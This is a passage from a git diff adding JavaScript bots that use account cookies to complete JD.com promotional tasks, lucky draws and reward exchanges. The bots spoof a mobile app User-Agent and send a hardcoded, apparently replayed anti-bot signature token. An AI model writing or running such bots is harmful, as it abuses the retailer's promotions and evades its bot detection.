= (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data && data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } else { + console.log(`抽奖 未中奖`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `${jd_mhurl}?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mofang_ex.js b/jd_mofang_ex.js new file mode 100644 index 0000000..c9c8385 --- /dev/null +++ b/jd_mofang_ex.js @@ -0,0 +1,319 @@ + +/* +京东小魔方--收集兑换 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +by:小手冰凉 tg:@chianPLA +============Quantumultx=============== +[task_local] +#京东小魔方--收集兑换 +31 8 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mofang_ex.js, tag=京东小魔方--收集兑换, enabled=true + +================Loon============== +[Script] +cron "31 8 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mofang_ex.js,tag=京东小魔方--收集兑换 + +===============Surge================= +京东小魔方--收集兑换 = type=cron,cronexp="31 8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mofang_ex.js + +============小火箭========= +京东小魔方--收集兑换 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mofang_ex.js, cronexpr="31 8 * * *", timeout=3600, enable=true + + */ +const $ = new Env('京东小魔方--收集兑换'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +$.shareCodes = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdMofang() + await $.wait(3000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMofang() { + console.log(`集魔方 赢大奖`) + await getInteractionHomeInfo() +} + +async function getInteractionHomeInfo() { + return new Promise(async (resolve) => { + $.post(taskUrl("getInteractionHomeInfo", { "sign": "u6vtLQ7ztxgykLEr" }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getInteractionHomeInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + $.config = data.result; + await queryInteractiveRewardInfo(data.result.taskConfig.projectPoolId, "wh5", 0); //收集魔方 + await $.wait(1500) + await queryInteractiveRewardInfo(data.result.giftConfig.projectId, "acexinpin0823", 1);//兑换魔方 + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +async function queryInteractiveInfo(encryptProjectId, sourceCode) { + return new Promise(async (resolve) => { + $.post(taskUrl("queryInteractiveInfo", { "encryptProjectId": encryptProjectId, "sourceCode": sourceCode, "ext": { "couponUsableGetSwitch": 1 } }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryInteractiveInfo API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +async function queryInteractiveRewardInfo(encryptProjectId, sourceCode, type) { + return new Promise(async (resolve) => { + if (type === 0) { + body = { "encryptProjectPoolId": encryptProjectId, "sourceCode": sourceCode, "ext": { "needPoolRewards": 1, "needExchangeRestScore": 1 } } + } + else { + body = { "encryptProjectId": encryptProjectId, "sourceCode": sourceCode, "ext": { "needExchangeRestScore": "1" } } + } + $.post(taskUrl("queryInteractiveRewardInfo", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryInteractiveRewardInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (type == 1) { + sum = data.exchangeRestScoreMap['367']; + console.log(`当前魔方${sum}个`); + let task = await queryInteractiveInfo($.config.giftConfig.projectId, "acexinpin0823"); + data2 = JSON.parse(task); + $.run = true; + if (data2.subCode == '0') { + for (let key of Object.keys(data2.assignmentList)) { + let vo = data2.assignmentList[key]; + if (sum >= 3) { + if (vo.exchangeRate == 3) { + for (let i = 1; i <= 1; i++) { + if ($.run == false) { + continue; + } + console.log(`开始3魔方第${i}次兑换`); + await doInteractiveAssignment($.config.giftConfig.projectId, vo.encryptAssignmentId, "acexinpin0823", 1); + await $.wait(1500); + } + } + } + } + } else { + console.log('获取兑换失败了'); + } + } else { + sum = data.exchangeRestScoreMap['368']; + if (sum >= 6) { + for (let k = 1; k <= Math.floor(sum / 6); k++) { + if ($.run == false) { + continue; + } + console.log(`开始第${k}次收集魔方`); + await doInteractiveAssignment($.config.giftConfig.projectId, "wE62TwscdA52Z4WkpTJq7NaMvfw", "acexinpin0823", 0);//兑换魔方 + await $.wait(1500); + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +// 兑换和收集魔方 +async function doInteractiveAssignment(encryptProjectId, AssignmentId, sourceCode, type) { + return new Promise(async (resolve) => { + $.post(taskUrl("doInteractiveAssignment", { "encryptProjectId": encryptProjectId, "encryptAssignmentId": AssignmentId, "sourceCode": sourceCode, "itemId": "", "actionType": "", "completionFlag": "", "ext": { "exchangeNum": 1 }, "extParam": { "businessData": { "random": "85707533" }, "signStr": "1639914390947~1KANxv8F8hhMDF4ZUtXWDAxMQ==.SVN4bmFJUXhvaExceCkCTFx8HW09Ch1gJklJfXtrVFc1ZSZJGykbFkhSGQEVNicJfCs1EiYdE0EKeQ4vRVg1.0f82af10~3,2~171F7F51216CC9EEA80A5C3D4372ED8F17117802E6ABE50E9AA1945A32CF6071~0vzuy9d~C~TxdFWRMObmwYE0BbXBYLbxdVARwDfR12YxgEYAMdABsBBwEYQRMYE1ACHAN5GHdjGABnBR0AHwQGARhFFhkTUAAZAnkYc2YZAGdyGEAdQBNpGRNTQ1oXCwAdFkZCFgsWBAcHCA0EBQcJDQwEAQMHAAkWHRZCVFATDhdFQEVAQVdBVxYZE0NUVRcLFldSQUVARUFUExgTRFFfFgtvAh0DBxgNHQwdBRkEaR0WX1sWCwcZE1dCFg8TVVIADARRUA0CB1EJAgYFUlABAlVRCAEBVQACVwYFAgAWGRNaQRYPE3hYWkBJFFBVR1JcBwAXHRZFFg8AAgINDAAAAg0FCAAGGBdbXxMOFxwHAwJRB1IFBgxUAAIZAAQEVFdUB1YFAgJSVQVSBhMYE1JFUxYLFld9egEDZ2d5f3Z3EUd8Q1h7fwhbB2hDDAkXHRZfQhcLFnZbWlZYVBR8X1cfFhkTWlBCFwsWCAQMAgQTGBdCV0MWD2oMAQQZAgIBaRkTRl4WD2oWZnhvHHV/BAUTGBNVW1VGXl1RExgTBQUTGBMFBR8GHwQXHRYIBAwCBBMYFwQHBAcFAgEHBwMAAgcHBwcZBQcDAgMCBwMAAgUHAwcHAhYZEwUTaRkTXV5VFwsWV1JTV1JXQEETGBNVXxMOE0EXHRZSXRcLFkYHGwMaBRYZE1dXa0MTDhMEBBMYE1ZREw4TRlRfUF5ZCAkBBgQCBAcCFhkTWVsWD2oFHQQZAWkdFlddW1YWDxMFBwcMCAUFBwMBAgkMSwBQegV7ZwRfbW8BeXVye2hYVUVWW3VJeVIMCR9Sc2NfZARBCWFmfmFgbABmbElldFJja19wYVp4Ykl+bHVwRXt5ZG5obWN8RGl1TQl8dW1weFNkTGxiUGtzT3gCZk5saXpJAEF0Q2h1dHdDd3xMfE14Xl4efXJXDHhDfHNxRmVzUWdCcmkEVgB+ZQxTe3Bge3dWDGN2T0VdemYBdnNcflF4dlZsf1pxV1J2WnBpXWwCcnYAX3pcVgZzYFBwcF9SfHt3Vll1SV8NaWVWcnRIR3lRZlZ1dnZ4enZZAHR+B3BXGwkDBAFXVQJSSk8dBU9KS3NKZVxRd2ZWU2Nnclp4fQAEZGJNa2ByXABkbHd6d2dYSWZyYFxlZVldYnVYZ3llSURxZwR0f3NJdVNxY15sdUxgd3FzR2NnZXNBZAF5fGVCa2d0XF5gZUlxcXdDZHZtcFtnc01gZGBMUVNyd3FUZEx4bnB3RHVzQglscwVgcnZJYVRjcntXZEZMdWJjcFFzTEJ3cWRlCE8FSQBEQEZdFhkTWUJTFwsWE0k=~0zkqpsb", "sceneid": "XMFJGh5" } }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.subCode == '0') { + if (type == 1) { + console.log(`当前兑换${data.rewardsInfo.successRewards['3'][0].rewardName}`); + } + } else if (data.subCode == '1403' || data.subCode == '1703') { + console.log(data.msg); + $.run = false; + } else { + console.log(data); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&appid=content_ecology&client=wh5&clientVersion=1.0.0`, + headers: { + 'Host': 'api.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://h5.m.jd.com', + 'Accept-Language': 'zh-cn', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2bf3XEEyWG11pQzPGkKpKX2GxJz2/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': cookie + } + } +} + +function randomString(e) { + let t = "abcdef0123456789" + if (e === 16) t = "abcdefghijklmnopqrstuvwxyz0123456789" + e = e || 32; + let a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = 